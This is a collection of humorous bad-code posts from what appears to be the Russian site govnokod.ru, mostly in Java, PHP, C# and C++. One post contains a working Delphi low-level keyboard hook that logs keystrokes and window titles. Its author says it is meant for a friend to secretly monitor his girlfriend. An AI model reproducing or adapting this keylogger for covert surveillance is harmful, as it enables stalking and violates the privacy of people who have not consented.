- 1
- 2
- 3
- 4
private static final int EXPIRATION_DATE = 93*24*60*60*1000;
if (fileAttribute.creationTime().toMillis() + EXPIRATION_DATE < System.currentTimeMillis()) {
...
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+2
private static final int EXPIRATION_DATE = 93*24*60*60*1000;
if (fileAttribute.creationTime().toMillis() + EXPIRATION_DATE < System.currentTimeMillis()) {
...
}
в мастер-ветке...
+2
<?php
if (isset($block4_items_block) || count($block4_items_block) >= 3 || (isset($block4_items_block[0]['bg']) || isset($block4_items_block[1]['bg']) || isset($block4_items_block[2]['bg'])) || (isset($block4_items_block[0]['title']) || isset($block4_items_block[1]['title']) || isset($block4_items_block[2]['title'])) || (strlen($block4_items_block[0]['bg']) > 0 || strlen($block4_items_block[1]['bg']) > 0 || strlen($block4_items_block[2]['bg']) > 0 ) || (strlen($block4_items_block[0]['title']) > 0 || strlen($block4_items_block[1]['title']) > 0 || strlen($block4_items_block[2]['title']) > 0 )){
?>
Прислал друг.
Примерно такое же условие еще находится в шаблоне.
+2
class Test(contextlib.ExitStack):
def __init__(self):
super().__init__()
with contextlib.ExitStack() as s:
self.foo = s.enter_context(Foo())
self.bar = s.enter_context(Bar())
self.enter_context(s.pop_all())
Неужели в питоне нет более адекватного способа описать класс, который держит джва ресурса и корректно их освобождает во всех ситуациях? И эти люди ругают кресты за сложность управления памятью...
+2
private int SortWObyAD(WorkOrderShort wo1, WorkOrderShort wo2)
{
if (wo1.AD == wo2.AD)
{
return 0;
}
else if (wo1.AD > wo2.AD)
{
return 1;
}
else
{
return -1;
}
}
Сразу 2 достоинства:
1) абсолютно не понятно, что такое AD;
2) ах да, все это можно было бы заменить одной строкой "return wo1.AD - wo2.AD", т.к. все это будет использоваться в одной из стандартных функций сортировки
+2
[HttpPost]
public string PayFromCreditCard(CreditCardViewModel cardInfo, double depositValue)
{
try
{
// todo: make real payment
return AjaxResult.CreateSuccess();
}
catch (Exception exc)
{
return AjaxResult.CreateError(exc.Message);
}
}
Этот код сейчас живет где-то на продакшене...
+2
unit KHook;
interface
uses Windows, SysUtils, Messages;
const
WH_KEYBOARD_LL = 13;
LLKHF_UP = $0080;
type
TKbdHookEvent=procedure (S:WideString);
type
PKbdDllHookStruct = ^TKbdDllHookStruct;
TKbdDllHookStruct = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
KBDLLHOOKSTRUCT = TKbdDllHookStruct;
implementation
var
KbdProc:TKbdHookEvent=nil;
Hook:HHOOk;
WinTitle:WideString='';
function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
KeyName:WideString;
CurrWinTitle:WideString;
KeyState : TKeyboardState;
hklLayout:HKL;
FW:HWND;
begin
try
if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
begin
FW:=GetForegroundWindow;
hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
GetKeyboardState(KeyState);
SetLength(CurrWinTitle, 1000);
SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
with PKbdDllHookStruct(LParam)^ do
case vkCode of
VK_BACK: KeyName := '[BackSpace]';
VK_TAB: KeyName := '[Tab]';
VK_CAPITAL: KeyName := '[CapsLock]';
VK_RETURN: KeyName := '[Enter]';
VK_ESCAPE: KeyName := '[Esc]';
VK_CANCEL: KeyName := '[Cancel]';
VK_F1: KeyName := '[F1]';
{...}
VK_HELP: KeyName := '[Help]';
else
SetLength(KeyName,1);
KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
end;
if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
if WinTitle='' then
begin
WinTitle:=CurrWinTitle;
KeyName:=CurrWinTitle+' {'#13#10+KeyName;
end
else if WinTitle <> CurrWinTitle then
begin
WinTitle:=CurrWinTitle;
KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
end;
KbdProc(KeyName);
end;
finally
Result := CallNextHookEx(Hook,nCode,wParam,lParam);
end;
end;
function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
if Assigned(lpCallBack) then
KbdProc:=lpCallBack;
Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
Result:=(Hook <> INVALID_HANDLE_VALUE);
end;
function RemoveHook:Boolean;
begin
Result:=UnHookWindowsHookEx(Hook);
end;
exports SetHook,
RemoveHook;
end.
Клавиатурный сексот на Delphi.
Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.
+2
https://i.imgur.com/foJHCYt.jpg
Новые винды теперь даже БСОД не могут полностью вывести полностью.
Хотели сделать красивый нескучный bsod с грустным смайликом, а он теперь не выводится из-за всей этой красивости и нескучности. Оставили б старый bsod - была бы какая-то инфа о причинах самого бсода. Но зато тут теперь нескучный смайлик.
То ли дело кернелпаник в прыщах, никаких тебе смайликов и чорная страшная консоль с непонятными циферками и буковками. Неюзерфрендли
+2
struct A {
virtual int transmogrify();
};
struct B : A {
int transmogrify() override { new(this) A; return 2; }
};
int A::transmogrify() { new(this) B; return 1; }
static_assert(sizeof(B) == sizeof(A));
int main() {
A i;
int n = i.transmogrify();
// int m = i.transmogrify(); // undefined behavior
int m = std::launder(&i)->transmogrify(); // OK
assert(m + n == 3);
}
Yo dawg, we heard you like kostyli, so we put our kostyli into your kostyli, so that you can use kostyli to support our kostyli!
https://en.cppreference.com/w/cpp/utility/launder
А если серьезно, мне еще не удалось соорудить пример, чтоб код с std::launder и без него работали по разному.
+2
template <class F, class G>
auto operator*(F&& f, G&& g) -> decltype(auto) {
return [=](auto ...args) { return f(g(args...)); };
}
Композиция функций
+2
<VAST version="3.0"><Ad id="5693910"><InLine><AdSystem version="1.0.0">Integros Adserver</AdSystem><MediaFiles><MediaFile id="13258463" delivery="progressive" type="video/mp4" width="852" height="480">https://df1da99b6f27b41d.com/f9ffc53e/226d88d1ea40.mp4</MediaFile></MediaFiles><VideoClicks><ClickTracking>https://afd4aaf58705a09a.com/_/MTUzNzIyMTY5NXxrTjZ6RDJXNDlRTExIYTVST3E4S2dpd3U1NllHY1lzRFVmblBPUnJSQkNRbUhqR0F4S3h3V2dtN0N5X190VkFLNV9kM0JDNy1JTTF1X2lhQXFfbXloQUNVZ3FhMnhPcFZ2aWNuN0k5dFFaeUhqUWhYMFU0X0Zoa1ZzTWdFYWpoT250ZFVRVGM2akE2TTJNdXVHV1BYc3QtSndETkFMMnVULXFyaWVhV3NEZzh3czI1anAxQmRjVUtHblRLSUdxbzE1dk1WdGRzbEg5N0JLZEF6V0NkU2R4dFo2SGNkT1NfdTN4VkZHMVVYLWlaSGMyeWcyX0dCVWJNWHlPTWxNTS0xUV9ER3g5OHo3MmFiaG9oTWxSaDBKR09JZFRJaDQ1Vy1aR01MYjhKVjVENks0cGxWMFA5TzR2NUFETzJZSlN6QWJkcDRmaDZ2TDBPRFBnczY5WFVhcGo2RkR0bHV2QmVFTHpTSTNTT0lRNDVlUzNjTzJFd0JiVFY1YVNZVlNUdzlHRUFfNGVuSXyiaqVx2xuQhv_zxFuD7whj3cFV3W-uqILcTaKKHoKblw==?p=[CONTENTPLAYHEAD]</ClickTracking><ClickThrough id="150081807">https://w3.adm78.com/?project=admiral-xxx&user=xxx-fox&adserv=intgrs&source=mw&id=stoner10&type=video&campaign=ruadblck&p_if</ClickThrough></VideoClicks></Linear></Creative></Creatives></InLine></Ad></VAST>
Не секрет, что многие сайты с фильмами, которые ещё не попали в базу роскомпозора, находятся в сговоре с азино 777, предваряя просмотр фильма показом рекламы - пресловутое видео под заголовком "сруби бабла", где парень-мажор сорит деньгами, находясь в обществе доступных девиц.
При анализе страницы выяснилось следующее.
Страница загружает JS-скрипт с рандомным именем по рандомной ссылке - блокировка бессмысленна, кроме того, это вызовет вызывает проблемы с воспроизведением, т.к. скрипт содержит ссылку на желаемый фильм.
Также подгружается XML и далее создаётся iframe плеера. Ссылка на ресурс берётся из поля MediaFile.
Переключения вкладок и потеря ими фокуса отслеживаются скриптом, который немедленно приостанавливает видео - таким образом, пользователь вынужден смотреть ролик до конца. Сраный роскомпозор, убивший сотню-другую полезных сайтов здесь опять показал свою никчемность...
Вопрос: как запломбировать это рекламное гуано?